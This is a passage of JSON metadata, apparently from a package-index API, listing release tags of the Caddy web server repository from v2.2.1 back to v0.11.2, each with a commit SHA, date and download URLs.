itHub/repositories/caddyserver%2Fcaddy/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"f197cec7f3a599ca18807e7b7719ef7666cfdb70","kind":"tag","published_at":"2020-09-24T15:55:46.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.2.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.0/manifests"},{"name":"v2.2.0-rc.3","sha":"d16ede358a2ec049bda28bf37e79c9cfcaa64c29","kind":"tag","published_at":"2020-09-18T03:47:38.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.2.0-rc.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.2.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.2.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.0-rc.3/manifests"},{"name":"v2.2.0-rc.2","sha":"3ee663dee195e5f8ead7879b31131f46cd0fba13","kind":"tag","published_at":"2020-09-17T18:38:01.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.2.0-rc.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.2.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.2.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.0-rc.2/manifests"},{"name":"v2.2.0-rc.1","sha":"66863aad3beb480a26664c77b73eb2ff7fcab754","kind":"tag","published_at":"2020-08-11T15:49:35.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.2.0-rc.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.2.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.2.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.2.0-rc.1/manifests"},{"name":"v2.1.1","sha":"d7dbf8552562edcfb53ab2024d8ceccc33823021","kind":"tag","published_at":"2020-06-30T19:05:47.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.1.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"c9049bdc24cf35a1c2a4871401428cd08daf1f7d","kind":"tag","published_at":"2020-06-26T18:26:05.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.1.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.1.0/manifests"},{"name":"v2.1.0-beta.2","sha":"21c00a3cd2f702b32e80dbef2987ac2250a2c9a5","kind":"tag","published_at":"2020-06-26T18:03:21.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.1.0-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.1.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.1.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.1.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.1.0-beta.2/manifests"},{"name":"v2.1.0-beta.1","sha":"90dba172cbfb2527395f7c52af2987d81cab0a99","kind":"tag","published_at":"2020-06-08T17:11:18.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.1.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.1.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.1.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.1.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.1.0-beta.1/manifests"},{"name":"v2.0.0","sha":"e051e119d1dff75972ed9b07cf97bbb989ba8daa","kind":"tag","published_at":"2020-05-04T16:45:53.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0/manifests"},{"name":"v2.0.0-rc.3","sha":"ec456811bb6d61ce32dbe6e4b7580d383f8a4adf","kind":"tag","published_at":"2020-04-13T18:42:21.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-rc.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-rc.3/manifests"},{"name":"v2.0.0-rc.2","sha":"f29023bf8f7de84faf0db8233b0c4b3b4ce74e93","kind":"tag","published_at":"2020-04-09T19:24:03.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-rc.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-rc.2/manifests"},{"name":"v2.0.0-rc.1","sha":"1456f15f9a3981c5b0ca8927f14bccb2c9c12660","kind":"tag","published_at":"2020-04-02T22:47:30.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-rc.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-rc.1/manifests"},{"name":"v2.0.0-beta.20","sha":"2acb208e325c16a0f73a81957f9094198e97809c","kind":"tag","published_at":"2020-03-24T19:38:51.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta.20","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.20/manifests"},{"name":"v2.0.0-beta.19","sha":"348cb798e26a056bd40f5ec7c0d8f440d7b6cc0b","kind":"tag","published_at":"2020-03-23T17:21:04.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta.19","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.19/manifests"},{"name":"v2.0.0-beta.18","sha":"6a4d638c1e62caf834a73ac4e3fcfc25bc32eedb","kind":"tag","published_at":"2020-03-19T21:51:39.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta.18","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.18/manifests"},{"name":"v2.0.0-beta.17","sha":"7a4548c5823e85bab0a2e2f40a3ea00f64ce8552","kind":"tag","published_at":"2020-03-14T01:15:51.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta.17","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.17/manifests"},{"name":"v2.0.0-beta.16","sha":"6cbd93736fcd2e202fb4d5cfc3f9dd45b6121b0b","kind":"tag","published_at":"2020-03-13T19:04:25.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta.16","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.16/manifests"},{"name":"v1.0.5","sha":"11ae1aa6b88e45b077dd97cb816fe06cd91cca67","kind":"tag","published_at":"2020-02-28T19:03:27.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v1.0.5","html_url":"https://github.com/caddyserver/caddy/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.5/manifests"},{"name":"v2.0.0-beta.15","sha":"e4ec08e977bcc9c798a2fca324c7105040990bcf","kind":"tag","published_at":"2020-02-28T04:09:55.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta.15","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.15/manifests"},{"name":"v2.0.0-beta.14","sha":"17d938fc54b347d54a4f56c1f0d6e92c65033548","kind":"tag","published_at":"2020-02-11T22:01:35.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta.14","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.14/manifests"},{"name":"v2.0.0-beta.13","sha":"6614d1c495f3266037d36b4c2f4f70fcc73acad1","kind":"tag","published_at":"2020-01-22T17:19:58.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta.13","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta.13/manifests"},{"name":"v2.0.0-beta12","sha":"3d9f8eac08e172d99eafb396f161263fd444c073","kind":"tag","published_at":"2020-01-01T07:11:05.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta12","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta12/manifests"},{"name":"v2.0.0-beta11","sha":"82bebfab8a6528f24f23dac99ce5b11efab27761","kind":"tag","published_at":"2019-12-23T20:47:41.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta11","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta11/manifests"},{"name":"v2.0.0-beta10","sha":"8de1a762273323608d9d9080c42057d1814070b6","kind":"tag","published_at":"2019-11-18T21:25:07.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta10","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta10/manifests"},{"name":"v1.0.4","sha":"aadda6e34e5b85b04670ecf3bb096dead3da61fc","kind":"tag","published_at":"2019-11-15T21:29:07.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v1.0.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.4/manifests"},{"name":"v2.0.0-beta9","sha":"f5c6a8553c5b6cbf2e2a58307b78ff06282d0737","kind":"tag","published_at":"2019-11-04T20:43:56.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta9","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta9/manifests"},{"name":"v2.0.0-beta8","sha":"ba0000678d6305a8137622845dd91fe5b22b47de","kind":"tag","published_at":"2019-10-29T17:59:34.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta8","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta8/manifests"},{"name":"v2.0.0-beta7","sha":"d6dad04e9647c9ab177c2013ee1aa14b5fa81a5e","kind":"tag","published_at":"2019-10-28T21:10:45.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta7","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta7/manifests"},{"name":"v2.0.0-beta6","sha":"bc738991b6234bf334855e1396919e79ef9791b8","kind":"tag","published_at":"2019-10-14T17:33:55.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta6","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta6/manifests"},{"name":"v2.0.0-beta5","sha":"715e6ddf516835c62db022b2247808fb8f22f2b0","kind":"tag","published_at":"2019-10-10T21:48:10.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta5","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta5/manifests"},{"name":"v2.0.0-beta4","sha":"ce1205239a7c2300932d0d6819085586660fcce9","kind":"tag","published_at":"2019-10-07T16:48:09.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta4/manifests"},{"name":"v2.0.0-beta3","sha":"94f98c0733c63fe2044d41bf5bc85465ab23e283","kind":"tag","published_at":"2019-10-01T17:25:58.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta3/manifests"},{"name":"v2.0.0-beta2","sha":"3e8bff594a463242665fb3bc5f564bbb271c95cd","kind":"tag","published_at":"2019-09-20T19:19:39.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta2/manifests"},{"name":"v2.0.0-beta1","sha":"3b80c505fbb57fbf6f6abc429cacdade2ac08dc9","kind":"tag","published_at":"2019-09-13T18:50:17.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.0.0-beta1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.0.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.0.0-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.0.0-beta1/manifests"},{"name":"v1.0.3","sha":"bff2469d9d76ba5924f6d9affcf60bf44dcfa06c","kind":"tag","published_at":"2019-08-14T19:59:56.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v1.0.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"28e1f7c5623764e4dfb956bcbcf93a10ab43dd9e","kind":"tag","published_at":"2019-08-13T20:52:38.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v1.0.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"f6ee100bae9c0de566a2f7ae531113be0a9a0b83","kind":"tag","published_at":"2019-07-02T19:23:20.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v1.0.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"15fecbc16151308959674a5ce3843efb9e66bd5f","kind":"tag","published_at":"2019-04-24T17:34:45.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v1.0.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.0/manifests"},{"name":"v1.0.0-beta2","sha":"fb31669261db44869d10d70243346a8fbc8ffa5b","kind":"tag","published_at":"2019-04-20T19:43:32.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v1.0.0-beta2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v1.0.0-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v1.0.0-beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.0-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.0-beta2/manifests"},{"name":"v1.0.0-beta1","sha":"657780bcdf1dae53269e4b024336bea6fb380e40","kind":"tag","published_at":"2019-04-09T19:20:00.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v1.0.0-beta1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v1.0.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v1.0.0-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v1.0.0-beta1/manifests"},{"name":"v0.11.5","sha":"80dfb8b2a7f89b120a627bc4d866a1dc5ed3d92f","kind":"tag","published_at":"2019-03-04T19:49:39.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.11.5","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.11.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.11.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.5/manifests"},{"name":"v0.11.4","sha":"c1d6c928e3a29e94013bda4d339d9e426500c8e7","kind":"tag","published_at":"2019-02-15T19:05:28.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.11.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.4/manifests"},{"name":"v0.11.3","sha":"2ea544e9a03288118b4557d400dbc64031ae0198","kind":"tag","published_at":"2019-02-05T20:21:02.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v0.11.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v0.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v0.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v0.11.3/manifests"},{"name":"v0.11.2","sha":"8ab447e6159ce2c47cc